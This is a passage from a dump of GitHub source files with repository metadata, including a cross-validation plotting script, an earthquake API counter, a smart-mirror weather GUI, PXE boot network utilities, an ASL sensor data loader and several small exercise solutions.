add_box(nested_cv_grid[-1, -1], fig)\n mask[:] = 0\n mask[:, outer_train_idx] = 1\n refit_ax.imshow(mask, aspect=\"auto\", cmap=TRAIN_CMAP)\n\n\ndef show_simple_cv(k):\n fig = plt.figure(figsize=(6, k))\n splits = KFold(k).split(np.arange(100))\n grid = fig.add_gridspec(2 * k, 4, hspace=0, wspace=0)\n for i, (train, test) in enumerate(splits):\n add_box(grid[2 * i : 2 * i + 2, 0], fig, f\"Fold {i}\")\n add_box(grid[2 * i, 1], fig, \"Train\")\n add_box(grid[2 * i + 1, 1], fig, \"Test\")\n train_mask = np.zeros((1, 100), dtype=int)\n train_mask[:, train] = 1\n train_ax = add_box(grid[2 * i, 2], fig)\n train_ax.imshow(train_mask, aspect=\"auto\", cmap=TRAIN_CMAP)\n test_ax = add_box(grid[2 * i + 1, 2], fig)\n test_ax.imshow(~train_mask, aspect=\"auto\", cmap=TEST_CMAP)\n score_ax = fig.add_subplot(grid[2 * i + 1, -1])\n score_ax.text(\n 0.1,\n 0.5,\n f\"Score {i}\",\n ha=\"left\",\n va=\"center\",\n transform=score_ax.transAxes,\n )\n score_ax.axis(\"off\")\n return fig\n\n\nif __name__ == \"__main__\":\n parser = argparse.ArgumentParser()\n parser.add_argument(\"output_file\", type=str, default=None)\n parser.add_argument(\n \"--outer_k\", type=int, default=5, help=\"Number of folds in outer loop\"\n )\n parser.add_argument(\n \"--inner_k\",\n type=int,\n default=3,\n help=\"Number of folds in inner loop \"\n \"(used for hyperparameter selection)\",\n )\n parser.add_argument(\n \"--simple\",\n action=\"store_true\",\n help=\"Show simple K-fold (without grid search)\",\n )\n args = parser.parse_args()\n if args.simple:\n fig = show_simple_cv(args.outer_k)\n else:\n fig = show_nested_cv(args.outer_k, args.inner_k)\n fig.savefig(args.output_file, bbox_inches=\"tight\")\n","repo_name":"neurodatascience/main-edu-courses-ml","sub_path":"ml_model_selection_and_validation/slides/figure_scripts/show_cv.py","file_name":"show_cv.py","file_ext":"py","file_size_in_byte":5208,"program_lang":"python","lang":"en","doc_type":"code","stars":5,"dataset":"github-code","pt":"75"} +{"seq_id":"14746167766","text":"import requests\nimport sys\n\n\nclass Counter(object):\n def __init__(self, file_path):\n self.request_url = 'https://earthquake.usgs.gov/fdsnws/event/1/query'\n self.file_path = file_path\n self.date_ranges = []\n self.counter = 0\n\n def read_ranges_from_file(self):\n with open(self.file_path, 'r') as lines:\n for line in lines:\n split = line.rstrip().split(':')\n self.date_ranges.append((split[0], split[1]))\n\n def process_dates(self):\n for e in self.date_ranges:\n start = e[0]\n end = e[1]\n pay_load = {\n 'format': 'geojson',\n 'starttime': start,\n 'endtime': end\n }\n\n r = requests.get(self.request_url, params=pay_load)\n response = r.json()\n print('[Info] Fetch from ' + str(e) + ' with ' + str(len(response['features'])))\n self.counter += len(response['features'])\n\n def run(self):\n self.read_ranges_from_file()\n self.process_dates()\n print('[Final count] for ' + str(self.file_path) + ' : ' + str(self.counter))\n\nif __name__ == '__main__':\n count = Counter(sys.argv[1])\n count.run()\n\n\n","repo_name":"Jason-KChen/EAS-ETL","sub_path":"count_year_data.py","file_name":"count_year_data.py","file_ext":"py","file_size_in_byte":1235,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"11492241463","text":"from itertools import product #중복순열을 이용한다.\nimport sys\ninput = sys.stdin.readline\n\nn = int(input())\nresult = []\narr = [1, 2, 3]\n\nfor i in range(n):\n a = int(input())\n result.append(1) #1을 테스트 케이스 만큼 더하는 경우를 빼고 계산하기 위해 미리 1을 더해준다.\n b = []\n for j in range(1, a):\n b = list(product(arr, repeat = j))\n for k in range(len(b)):\n if sum(b[k]) == a:\n result[i] += 1\n \nfor i in result:\n print(i)\n \n","repo_name":"LeeChangon/Python_Beakjoon","sub_path":"silver/123plus_9095.py","file_name":"123plus_9095.py","file_ext":"py","file_size_in_byte":535,"program_lang":"python","lang":"ko","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"35236806900","text":"######################### Libraries #######################################################################################################################################\r\nimport datetime as dt\r\nimport json\r\nimport requests\r\nimport tkinter as tk\r\nfrom datetime import datetime\r\nfrom tkinter import *\r\nfrom tkinter import ttk\r\nfrom tkinter import font\r\nfrom PIL import ImageTk, Image\r\n\r\ngui = tk.Tk(className= 'Smart Mirror GUI')\r\ngui.geometry(\"800x480\") #resolution\r\ngui.configure(bg='black') #default background\r\n\r\n############################## Images #####################################################################################################################################\r\n\r\n# Heart Image\r\n\r\nHeartImage = Image.open('./Heart.gif')\r\nHeart = ImageTk.PhotoImage(HeartImage)\r\nHeartdisplay = Label(image=Heart, bg = 'black')\r\n\r\n# Heart Image Does Not Update based on Variables, So It Can Be Implemented Now\r\n\r\nHeartdisplay.grid(row=0,column=0,pady=4)\r\n\r\n# Calendar Image\r\n\r\nCalendarImage = Image.open('./Calendar.gif')\r\nCalendar = ImageTk.PhotoImage(CalendarImage)\r\nCalendardisplay = Label(image=Calendar, bg = 'black')\r\n\r\n# Calendar Image Does Not Update based on Variables, So It Can Be Implemented Now\r\n\r\nCalendardisplay.grid(row=1,column=0,pady=4)\r\n\r\n# Clock Image\r\n\r\nClockImage = Image.open('./Clock.gif')\r\nClock = ImageTk.PhotoImage(ClockImage)\r\nClockdisplay = Label(image=Clock, bg = 'black')\r\n\r\n# Clock Image Does Not Update based on Variables, So It Can Be Implemented Now\r\n\r\nClockdisplay.grid(row=2,column=0,pady=4)\r\n\r\n# Thermometer Images for Temperature and Feels Like\r\n\r\nThermometerHotImage = Image.open('./ThermometerHot.gif')\r\nThermometerHot = ImageTk.PhotoImage(ThermometerHotImage)\r\n\r\nThermometerColdImage = Image.open('./ThermometerCold.gif')\r\nThermometerCold = ImageTk.PhotoImage(ThermometerColdImage)\r\n\r\n# Setting Default Thermomoter Image as the ThermometerHotImage, is configured to change later in showWeather()\r\nThermometerdisplay = Label(image=ThermometerHot, bg = 'black')\r\nThermometerdisplay.grid(row=3,column=0,pady=4)\r\n\r\n############################## Date and Time #############################################################################################################################\r\n\r\n# Fetching date and time information\r\nglobal date\r\ndate = dt.datetime.now()\r\n\r\n# Creating label for the day \"monday, tuesday, etc.\"\r\nglobal daydisplay \r\ndaydisplay = Label(gui, text=f\"{date:%A}\", fg = \"white\", bg = \"black\", font = ('Courier', 45, 'bold'), justify = LEFT)\r\ndaydisplay.grid(row=0,column=1,sticky=W,pady=4)\r\n\r\n# Creating label for the date \"Month, Numeric Day, Year\"\r\nglobal datedisplay\r\ndatedisplay = Label(gui, text=f\"{date:%B %d, %Y}\", fg = \"white\", bg = \"black\", font = ('Courier', 45, 'bold'), justify = LEFT)\r\ndatedisplay.grid(row=1,column=1,sticky=W,pady=4)\r\n\r\n# Creating label for the time\r\nglobal timedisplay \r\ntimedisplay = Label(gui, text=f\"{date:%I:%M}\", fg = \"white\" , bg = \"black\" , font = ('Courier', 45, 'bold'), justify = LEFT)\r\ntimedisplay.grid(row=2,column=1,sticky=W,pady=4)\r\n\r\n############################## Weather ##################################################################################################################################\r\n\r\n# Counter for Update function to trigger Weather Update every ten minutes\r\ni = 0\r\n\r\n# Setting the time zone\r\ndef time_format_for_location(utc_with_tz):\r\n local_time = datetime.utcfromtimestamp(utc_with_tz)\r\n return local_time.time()\r\n\r\n# Gathering weather data\r\ndef showWeather():\r\n #API\r\n api_key = \"\" #insert API key\r\n \r\n #City Name\r\n global city_name\r\n city_name = \"Shreveport\"\r\n \r\n # API url\r\n weather_url = 'http://api.openweathermap.org/data/2.5/weather?q=' + city_name + '&appid='+api_key\r\n \r\n # url response\r\n response = requests.get(weather_url)\r\n \r\n # json to python readable \r\n weather_info = response.json()\r\n \r\n #if cod = 200, info was successfuly retrieved\r\n if weather_info['cod'] == 200:\r\n kelvin = 273 # value of kelvin\r\n #all collected values\r\n global temp\r\n temp = int((weather_info['main']['temp'] - kelvin) * 9 / 5 + 32) #converting default kelvin value to Fahrenheit\r\n #if(temp > 72):\r\n # Thermometerdisplay.config(Image = ThermometerHot)\r\n #else:\r\n # Thermometerdisplay.config(Image = ThermometerCold)\r\n global feels_like_temp\r\n feels_like_temp = int(weather_info['main']['feels_like'] - kelvin) * 9/5 + 32\r\n global pressure\r\n pressure = weather_info['main']['pressure']\r\n global humidity\r\n humidity = weather_info['main']['humidity']\r\n global wind_speed\r\n wind_speed = weather_info['wind']['speed'] * 3.6\r\n global sunrise\r\n sunrise = weather_info['sys']['sunrise']\r\n global sunset\r\n sunset = weather_info['sys']['sunset']\r\n global timezone\r\n timezone = weather_info['timezone']\r\n global cloudy\r\n cloudy = weather_info['clouds']['all']\r\n global description\r\n description = weather_info['weather'][0]['description']\r\n global sunrise_time\r\n sunrise_time = time_format_for_location(sunrise + timezone)\r\n global sunset_time\r\n sunset_time = time_format_for_location(sunset + timezone)\r\n\r\n# Fetch Initial Data \r\nshowWeather()\r\n\r\n# Creating Label for Temperature Display \r\ntempdisplay = Label(gui, text=f\"Temperature : {temp}\", fg = 'white', bg = 'black', font=(\"Courier\", 45, 'bold'), justify = LEFT)\r\ntempdisplay.grid(row=3,column=1,pady=4)\r\n\r\n# Creating Label for Feels Like Display\r\nfeelslikedisplay = Label(gui, text=f\"Feels like : {feels_like_temp}\", fg = 'white', bg = 'black', font=(\"Courier\", 45, 'bold'), justify = LEFT)\r\nfeelslikedisplay.grid(row=4,column=1,pady=4)\r\n\r\n# Creating Label for Weather Description Display\r\nweatherdisplay = Label(gui, text=f\"{description.rstrip()} \", fg = 'white', bg = 'black', font=(\"Courier\", 45, 'bold'), justify = LEFT)\r\nweatherdisplay.grid(row=5,column=1,pady=4, sticky=W)\r\n\r\n############################## Updating Information #####################################################################################################################\r\n\r\n# Function to Keep All Information up to Date\r\ndef Update():\r\n # Update Weather Every 10 Minutes \r\n global i\r\n i += 1\r\n if(i >= 600):\r\n i = 0\r\n # Gathering Current Weather Data\r\n showWeather()\r\n # Updates Variable to Current Date and Time Every Second \r\n \r\n # Gathering Current Date and Time Data\r\n date = dt.datetime.now() \r\n\r\n # Updating Labels\r\n\r\n # Date and Time Labels\r\n\r\n daydisplay.config(text=f\"{date:%A}\")\r\n datedisplay.config(text=f\"{date:%B %d, %Y}\")\r\n timedisplay.config(text=f\"{date:%I:%M}\")\r\n\r\n # Weather Labels\r\n\r\n tempdisplay.config(text=f\"Temperature : {temp} \")\r\n feelslikedisplay.config(text=f\"Feels like : {feels_like_temp}\")\r\n weatherdisplay.config(text=f\"{description.rstrip()} \")\r\n\r\n gui.after(1000, Update) # Function Calls Itself Every One Second\r\n\r\n# Initial Call for Update Function\r\nUpdate()\r\n\r\ngui.mainloop()\r\n","repo_name":"gcary145/Mirror-GUI","sub_path":"Creating Smart Mirror GUI.py","file_name":"Creating Smart Mirror GUI.py","file_ext":"py","file_size_in_byte":7124,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"9392857939","text":"from array import array\nimport commands\nimport logging\nimport re\nimport socket\nimport struct\nimport sys\nfrom ConfigParser import SafeConfigParser\nfrom six import PY3, integer_types, binary_type\n\ntry:\n import netifaces\nexcept ImportError:\n import os\n if os.uname()[0].lower() == 'darwin':\n raise ImportError('netifaces package is not installed')\n netifaces = None\n\n# String values evaluated as true boolean values\nTRUE_BOOLEANS = ['on', 'high', 'true', 'enable', 'enabled', 'yes', '1']\n# String values evaluated as false boolean values\nFALSE_BOOLEANS = ['off', 'low', 'false', 'disable', 'disabled', 'no', '0']\n# ASCII or '.' filter\nASCIIFILTER = bytearray((''.join([(\n (len(repr(chr(_x))) == 3) or (_x == 0x5c)) and chr(_x) or '.'\n for _x in range(128)]) + '.' * 128).encode('ascii'))\n\n\ndef to_int(value):\n \"\"\"Parse a value and convert it into an integer value if possible.\n\n Input value may be:\n - a string with an integer coded as a decimal value\n - a string with an integer coded as a hexadecimal value\n - a integral value\n - a integral value with a unit specifier (kilo or mega)\n \"\"\"\n if not value:\n return 0\n if isinstance(value, integer_types):\n return int(value)\n mo = re.match('^\\s*(\\d+)\\s*(?:([KMkm]i?)?B?)?\\s*$', value)\n if mo:\n mult = {'K': (1000),\n 'KI': (1 << 10),\n 'M': (1000 * 1000),\n 'MI': (1 << 20)}\n value = int(mo.group(1))\n if mo.group(2):\n value *= mult[mo.group(2).upper()]\n return value\n return int(value.strip(), value.startswith('0x') and 16 or 10)\n\n\ndef to_bool(value, permissive=True, allow_int=False):\n \"\"\"Parse a string and convert it into a boolean value if possible.\n\n :param value: the value to parse and convert\n :param permissive: default to the False value if parsing fails\n :param allow_int: allow an integral type as the input value\n\n Input value may be:\n - a string with an integer value, if `allow_int` is enabled\n - a boolean value\n - a string with a common boolean definition\n \"\"\"\n if value is None:\n return False\n if isinstance(value, bool):\n return value\n if isinstance(value, int):\n if allow_int:\n return bool(value)\n else:\n if permissive:\n return False\n raise ValueError(\"Invalid boolean value: '%d'\", value)\n if value.lower() in TRUE_BOOLEANS:\n return True\n if permissive or (value.lower() in FALSE_BOOLEANS):\n return False\n raise ValueError('\"Invalid boolean value: \"%s\"' % value)\n\n\ndef hexline(data, sep=' '):\n \"\"\"Convert a binary buffer into a hexadecimal representation\n\n Return a string with hexadecimal values and ASCII representation\n of the buffer data\n \"\"\"\n try:\n if isinstance(data, (binary_type, array)):\n src = bytearray(data)\n elif isinstance(data, bytearray):\n src = data\n elif isinstance(data, str):\n src = data.encode()\n else:\n # data may be a list/tuple\n src = bytearray(b''.join(data))\n except Exception:\n raise TypeError(\"Unsupported data type '%s'\" % type(data))\n\n hexa = sep.join([\"%02x\" % x for x in src])\n printable = src.translate(ASCIIFILTER).decode('ascii')\n return \"(%d) %s : %s\" % (len(data), hexa, printable)\n\n\ndef logger_factory(logtype='syslog', logfile=None, level='WARNING',\n logid='PXEd', format=None):\n # this code has been copied from Trac (MIT modified license)\n logger = logging.getLogger(logid)\n logtype = logtype.lower()\n if logtype == 'file':\n hdlr = logging.FileHandler(logfile)\n elif logtype in ('winlog', 'eventlog', 'nteventlog'):\n # Requires win32 extensions\n hdlr = logging.handlers.NTEventLogHandler(logid,\n logtype='Application')\n elif logtype in ('syslog', 'unix'):\n hdlr = logging.handlers.SysLogHandler('/dev/log')\n elif logtype in ('stderr'):\n hdlr = logging.StreamHandler(sys.stderr)\n else:\n hdlr = logging.handlers.BufferingHandler(0)\n\n if not format:\n format = 'PXEd[%(module)s] %(levelname)s: %(message)s'\n if logtype in ('file', 'stderr'):\n format = '%(asctime)s ' + format\n datefmt = ''\n if logtype == 'stderr':\n datefmt = '%X'\n level = level.upper()\n if level in ('DEBUG', 'ALL'):\n logger.setLevel(logging.DEBUG)\n elif level == 'INFO':\n logger.setLevel(logging.INFO)\n elif level == 'ERROR':\n logger.setLevel(logging.ERROR)\n elif level == 'CRITICAL':\n logger.setLevel(logging.CRITICAL)\n else:\n logger.setLevel(logging.WARNING)\n formatter = logging.Formatter(format, datefmt)\n hdlr.setFormatter(formatter)\n logger.addHandler(hdlr)\n\n def logerror(record):\n import traceback\n print_(record.msg)\n print_(record.args)\n traceback.print_exc()\n # uncomment the following line to show logger formatting error\n #hdlr.handleError = logerror\n\n return logger\n\n\ndef iptoint(ipstr):\n return struct.unpack('!I', socket.inet_aton(ipstr))[0]\n\n\ndef inttoip(ipval):\n return socket.inet_ntoa(struct.pack('!I', ipval))\n\n\ndef _netifaces_get_iface_config(address):\n pool = iptoint(address)\n for iface in netifaces.interfaces():\n ifinfo = netifaces.ifaddresses(iface)\n if netifaces.AF_INET not in ifinfo:\n continue\n for inetinfo in netifaces.ifaddresses(iface)[netifaces.AF_INET]:\n addr_s = inetinfo.get('addr')\n netmask_s = inetinfo.get('netmask')\n if addr_s is None or netmask_s is None:\n continue\n\n addr = iptoint(addr_s)\n mask = iptoint(netmask_s)\n ip = addr & mask\n ip_client = pool & mask\n delta = ip ^ ip_client\n if not delta:\n config = {'ifname': iface,\n 'server': inttoip(addr),\n 'net': inttoip(ip),\n 'mask': inttoip(mask)}\n return config\n return None\n\n\ndef _iproute_get_iface_config(address):\n pool = iptoint(address)\n iplines = (line.strip()\n for line in commands.getoutput(\"ip address show\").split('\\n'))\n iface = None\n for l in iplines:\n items = l.split()\n if not items:\n continue\n if items[0].endswith(':'):\n iface = items[1][:-1]\n elif items[0] == 'inet':\n saddr, smasklen = items[1].split('/', 1)\n addr = iptoint(saddr)\n masklen = int(smasklen)\n mask = ((1 << masklen) - 1) << (32 - masklen)\n ip = addr & mask\n ip_client = pool & mask\n delta = ip ^ ip_client\n if not delta:\n return {'ifname': iface,\n 'server': inttoip(addr),\n 'net': inttoip(ip),\n 'mask': inttoip(mask)}\n return None\n\n\ndef get_iface_config(address):\n if not address:\n return None\n if not netifaces:\n return _iproute_get_iface_config(address)\n return _netifaces_get_iface_config(address)\n\n\nclass EasyConfigParser(SafeConfigParser):\n \"ConfigParser extension to support default config values\"\n\n def get(self, section, option, default=None):\n if not self.has_section(section):\n return default\n if not self.has_option(section, option):\n return default\n return SafeConfigParser.get(self, section, option)\n","repo_name":"sssss38438/pybootd","sub_path":"pybootd/util.py","file_name":"util.py","file_ext":"py","file_size_in_byte":7681,"program_lang":"python","lang":"en","doc_type":"code","dataset":"github-code","pt":"75"} +{"seq_id":"15577686962","text":"import tempfile, os\n\nfrom .download import get_videos_list, download_vtts, vtt_to_db\nfrom .db_utils import add_channel_info, get_num_vids, get_vid_ids_by_channel_id\n\ndef update_channel(channel_id, channel_name, language, number_of_jobs, s):\n \"\"\"\n Downloads all the videos from a channel to a tmp directory\n \"\"\"\n with tempfile.TemporaryDirectory() as tmp_dir:\n\n channel_url = f\"https://www.youtube.com/channel/{channel_id}/videos\"\n\n public_video_ids = get_videos_list(channel_url)\n num_public_vids = len(public_video_ids)\n num_local_vids = get_num_vids(channel_id)\n\n if num_public_vids == num_local_vids:\n print(\"No new videos to download\")\n exit()\n\n local_vid_ids = get_vid_ids_by_channel_id(channel_id)\n local_vid_ids = [i[0] for i in local_vid_ids]\n\n\n fresh_videos = [i for i in public_video_ids if i not in local_vid_ids]\n\n print(f\"Found {len(fresh_videos)} videos on \\\"{channel_name}\\\" not in the database\")\n print(f\"Downloading {len(fresh_videos)} new videos from \\\"{channel_name}\\\"\")\n\n download_vtts(number_of_jobs, fresh_videos, language, tmp_dir)\n\n vtt_to_parse = os.listdir(tmp_dir)\n if len(vtt_to_parse) == 0:\n print(\"No new videos saved\")\n print(f\"{len(fresh_videos)} videos on \\\"{channel_name}\\\" do not have subtitles\")\n exit()\n\n vtt_to_db(channel_id, tmp_dir, s)\n\n print(f\"Added {len(vtt_to_parse)} new videos from \\\"{channel_name}\\\" to the database\")","repo_name":"NotJoeMartinez/yt-fts","sub_path":"yt_fts/update.py","file_name":"update.py","file_ext":"py","file_size_in_byte":1536,"program_lang":"python","lang":"en","doc_type":"code","stars":1309,"dataset":"github-code","pt":"75"} +{"seq_id":"71953495281","text":"'''\nA popular strategy to check validation of parenthesis is tracking number of left parenthesis l.\nWe loop on string, add 1 to l when we meet '(', minus 1 when meet ')',\nl should always be non-negative and 0 in the end.\n\nFor this problem, '*' can broaden the possible range of l,\nthe string is valid as long as low is 0 in the end.\n\nTime: O(n),\nSpace: O(1).\n'''\n\nclass Solution:\n def checkValidString(self, s: str) -> bool:\n low, high = 0, 0\n \n for c in s :\n if c == '(' :\n low += 1\n high += 1\n elif c == ')' :\n if high == 0 :\n return False\n low = max(0, low - 1)\n high -= 1\n else :\n low = max(0, low - 1)\n high += 1\n \n return low == 0","repo_name":"yxing999/Leetcode_Problems","sub_path":"Stack/678.Valid_Parenthesis_String.py","file_name":"678.Valid_Parenthesis_String.py","file_ext":"py","file_size_in_byte":831,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"75"} +{"seq_id":"16853919952","text":"# Data Processor for csv file \nimport re\nimport sys\nimport pickle\nimport numpy as np\nfrom numpy import array\nfrom collections import defaultdict\nfrom keras.utils import to_categorical\nfrom keras.preprocessing import sequence\nimport tensorflow as tf\n\nimport matplotlib.pyplot as plt\nfrom matplotlib import colors\n# loads and processes the input/output data\nclass DataHandler:\n def __init__(self, data_dir):\n self.data_dir = data_dir\n self.sensors_all = defaultdict(lambda: defaultdict(lambda: defaultdict(list)))\n \n # constructs X, Y data for the passed_in signing numbers (e.g., [6,7])\n def construct_data(self, sensor_data, sign_numbers, max_length, padding_num):\n #max_v = -9\n #min_v = 9\n\n # word to index (dictionary for the O(1) lookup)\n word_to_index = {} \n for i, cur_word in enumerate(sorted(sensor_data.keys())):\n word_to_index[cur_word] = i\n \n X = []\n Y = []\n for cur_word in sensor_data.keys():\n \n for sign_num in sign_numbers:\n sign_data = []\n for time_step in sensor_data[cur_word][sign_num]:\n #max_v = max(max_v, np.max(sensor_data[cur_word][sign_num][time_step]))\n #min_v = min(min_v, np.min(sensor_data[cur_word][sign_num][time_step]))\n sign_data.append(sensor_data[cur_word][sign_num][time_step])\n #print(\"sign_data:\", sign_data)\n \n #print(cur_word, \"a:\", len(sign_data))\n #print(len(sign_data[0]))\n #break\n X.append(sign_data)\n Y.append(word_to_index[cur_word])\n X = sequence.pad_sequences(array(X), maxlen=max_length, padding='post', value=padding_num)\n tf.dtypes.cast(X, tf.float32)\n Y = to_categorical(Y)\n tf.dtypes.cast(Y, tf.float32)\n #Y = tf.cast(Y, dtype='float32')\n return X, Y\n \n # ensures both dictionaries have: (a) left and right hands; (b) 7 vectors each\n def validate_sign_data(self, word, emg_data, gyro_data):\n\n for hand in [\"left\", \"right\"]:\n if hand not in emg_data or hand not in gyro_data:\n sys.exit(str(\"** ERROR: we're missing a hand's worth of data for: \" + word))\n \n if len(emg_data[hand]) != 7 or len(gyro_data[hand]) != 7:\n print(\"** IGNORING:\", word, \"because we don't have 7 signings for the\", hand,\"hand (skipping it)\")\n return False\n \n # ensures the time series data is of the same size\n for sign_num in range(1,8):\n\n le = len(emg_data[\"left\"][sign_num])\n re = len(emg_data[\"right\"][sign_num])\n rg = len(gyro_data[\"left\"][sign_num])\n lg = len(gyro_data[\"right\"][sign_num])\n\n if le != re:\n sys.exit(str(\"** ERROR: amount of emg data differs across hands!\"))\n if lg != rg:\n sys.exit(str(\"** ERROR: amount of gryo data differs across hands!\"))\n if lg != 0 and lg > le + 1:\n print(\"** WARNING: gyro contains:\", lg, \"time recordings whereas emg only has\", le)\n return True\n \n\n # example: sensors_all['above'][signing_number][time_step = [30]\n def add_word(self, timings, min_time_steps, max_time_steps, cur_word, emg_data, gyro_data):\n\n include_word = True\n for sign_num in range(1,8):\n \n # we clip the gyro data by constructing from the emg data's time length\n num_timings = len(emg_data[\"left\"][sign_num])\n timings.append(num_timings) #[num_timings] += 1\n if num_timings < min_time_steps:\n include_word = False\n print(\"** IGNORING:\", cur_word, \"because it has a signage of timelength:\", num_timings)\n break\n\n for time_step in range(min(num_timings, max_time_steps)):\n stacked = [emg_data[\"right\"], emg_data[\"left\"], gyro_data[\"right\"], gyro_data[\"left\"]]\n flat_vec = [j for v in stacked for j in v[sign_num][time_step]]\n self.sensors_all[cur_word][sign_num][time_step] = flat_vec\n\n if not include_word and cur_word in self.sensors_all:\n del self.sensors_all[cur_word] # the earlier signings could allow it to be added\n \n # loads the sensors file (e.g., 'combined.txt') and produces a nested dictionary:\n # sensors_all['above'][signing_number][time_step] = [30]\n def load_sensors_file(self, sensors_file, min_time_steps, max_time_steps, save_pickle):\n\n self.sensors_all = defaultdict(lambda: defaultdict(lambda: defaultdict(list)))\n processed_words = set()\n with open(self.data_dir + sensors_file,'r') as fopen:\n cur_hand = \"\"\n cur_sign_number = -1\n cur_word = \"\"\n \n # stores ['left' or 'right'][sign_number] = list of lists\n emg_data = defaultdict(lambda: defaultdict(list))\n gyro_data = defaultdict(lambda: defaultdict(list))\n \n timings = [] #defaultdict(int)\n for line in fopen:\n line = line.strip(' ,\\n').lower()\n \n # regex to extract info we want\n hand_matches = re.search(r\"(\\S+) \\S+ data, word, (\\S+)\", line)\n sign_matches = re.search(r\"sign number, (\\d+)\", line)\n emg_data_matches = re.search(r\"^(\\d+,){4}(\\d+)$\", line)\n gyro_data_matches = re.search(r\"^(\\S+,){9}(\\S+)$\", line)\n \n # parses each line for relevant info\n if hand_matches:\n cur_hand = hand_matches.group(1)\n cur_word = hand_matches.group(2)\n elif sign_matches:\n cur_sign_number = int(sign_matches.group(1))\n elif emg_data_matches:\n emg_data[cur_hand][cur_sign_number].append([float(x) for x in line.split(\",\")])\n elif gyro_data_matches:\n gyro_data[cur_hand][cur_sign_number].append([float(x) for x in line.split(\",\")])\n elif line == \"***thats 7 signs***\":\n\n # ignores duplicates in the original txt file\n if cur_word not in processed_words:\n \n # ensures the data is valid\n if self.validate_sign_data(cur_word, emg_data, gyro_data):\n self.add_word(timings, min_time_steps, max_time_steps, cur_word, emg_data, gyro_data)\n\n processed_words.add(cur_word) \n emg_data = defaultdict(lambda: defaultdict(list))\n gyro_data = defaultdict(lambda: defaultdict(list))\n \n print(\"sensors_all:\", sorted(self.sensors_all.keys()))\n print(\"# words loaded:\", len(self.sensors_all.keys()))\n \n # makes a histogram of the sensor recordings\n '''\n fig, axs = plt.subplots(1, 1, sharey=True, tight_layout=True)\n axs.hist(timings, bins=15, color=\"#91171F\", alpha = 1)\n plt.title(\"Sensor recordings per individual signing\",fontsize=20)\n plt.xlabel(\"Number of sensor recordings\", fontsize=16)\n plt.ylabel(\"Count\", fontsize=16)\n plt.show()\n '''\n\n # optionally saves our file to a pickle, for faster loading later\n # since defaultdict() isn't picklable, we need to reformat it as a native dictionary\n if save_pickle:\n l1 = {}\n for k1 in self.sensors_all:\n l2 = {}\n for k2 in self.sensors_all[k1]:\n l3 = {}\n for k3 in self.sensors_all[k1][k2]:\n l3[k3] = self.sensors_all[k1][k2][k3]\n l2[k2] = l3\n l1[k1] = l2\n\n fout = open(self.data_dir + sensors_file[0:sensors_file.index(\".\")] + \"_\" + str(min_time_steps) + \"_\" + str(max_time_steps) + \".pickle\", \"wb\")\n pickle.dump(l1, fout)\n fout.close()\n \n return self.sensors_all\n","repo_name":"chriswtanner/ASL","sub_path":"src/DataHandler.py","file_name":"DataHandler.py","file_ext":"py","file_size_in_byte":8171,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"75"} +{"seq_id":"42085923505","text":"from neoscore.core import neoscore\nfrom neoscore.core.brush import Brush\nfrom neoscore.core.color import Color\nfrom neoscore.core.path import Path\nfrom neoscore.core.pen import Pen\nfrom neoscore.core.point import ORIGIN\nfrom neoscore.core.text import Text\n\nfrom ..helpers import AppTest\n\n\nclass TestNeoscore(AppTest):\n def test_setting_global_color(self):\n initial_color = Pen._default_color\n try:\n text_created_before_set = Text(ORIGIN, None, \"Test\")\n path_created_before_set = Path(ORIGIN, None)\n\n neoscore.set_default_color(Color(1, 2, 3))\n\n text_created_after_set = Text(ORIGIN, None, \"Test\")\n path_created_after_set = Path(ORIGIN, None)\n\n assert text_created_before_set.brush.color == Color(0, 0, 0)\n assert path_created_before_set.brush.color == Color(0, 0, 0)\n assert path_created_before_set.pen.color == Color(0, 0, 0)\n\n assert text_created_after_set.brush.color == Color(1, 2, 3)\n assert path_created_after_set.brush.color == Color(1, 2, 3)\n assert path_created_after_set.pen.color == Color(1, 2, 3)\n finally:\n neoscore.set_default_color(initial_color)\n\n def test_set_background_brush(self):\n assert neoscore.background_brush == Brush(\"#ffffff\")\n new_brush = Brush(\"#ffff00\")\n neoscore.set_background_brush(new_brush)\n assert neoscore.background_brush == new_brush\n assert neoscore.app_interface.background_brush == new_brush.interface\n","repo_name":"DigiScore/neoscore","sub_path":"tests/integration/test_neoscore.py","file_name":"test_neoscore.py","file_ext":"py","file_size_in_byte":1539,"program_lang":"python","lang":"en","doc_type":"code","stars":92,"dataset":"github-code","pt":"75"} +{"seq_id":"43741505603","text":"import cv2\nimport matplotlib.pyplot as plt\n\nc_img = cv2.imread(\"7.png\")\n\ncrop_img = c_img[714:2228,341:1420]\n\ntest_images = [\n \"1.png\",\n \"5.png\",\n \"3.png\",\n \"2.png\",\n \"10.png\",\n \"9.png\",\n \"6.png\",\n \"8.png\",\n \"4.png\",\n \"7.png\"\n]\n\ncorrelations = []\n\nfor img in test_images:\n testImg = cv2.imread(img)\n croppedTestImg = testImg[714:2228,341:1420]\n plt.imshow(croppedTestImg)\n plt.show()\n X = croppedTestImg - crop_img\n ssd = sum(X[:]**2)\n correlations.append(ssd)\nprint(correlations)\n\ncv2.imshow(\"correlated\",c_img)\nplt.imshow(crop_img)\nplt.show()","repo_name":"MohammadOsama15/CSC4890-Assignment_3","sub_path":"Q1/Correlation.py","file_name":"Correlation.py","file_ext":"py","file_size_in_byte":595,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"40195872942","text":"from sqlalchemy import create_engine\nfrom sqlalchemy.orm import sessionmaker\n\nfrom models import Base, Category, CategoryItem, User\n\nengine = create_engine('sqlite:///catalog.db')\n# Bind the engine to the metadata of the Base class so that the\n# declaratives can be accessed through a DBSession instance\nBase.metadata.bind = engine\n\nDBSession = sessionmaker(bind=engine)\nsession = DBSession()\n\nUser1 = User(\n name=\"Oleksii Zhurbytskyi\", email=\"zhurbitsky@gmail.com\",\n picture=\"https://lh3.googleusercontent.com/-pRA8Hgrls18/\"\n \"AAAAAAAAAAI/AAAAAAAAH8w/6-AqEE8pjfc/photo.jpg\")\nsession.add(User1)\nsession.commit()\n\ncategory1 = Category(user_id=1, name=\"Snowboarding\")\nsession.add(category1)\nsession.commit()\n\ncategoryItem1 = CategoryItem(\n user_id=1,\n name=\"Snowboard\",\n description=\"Snowboards are boards that are usually 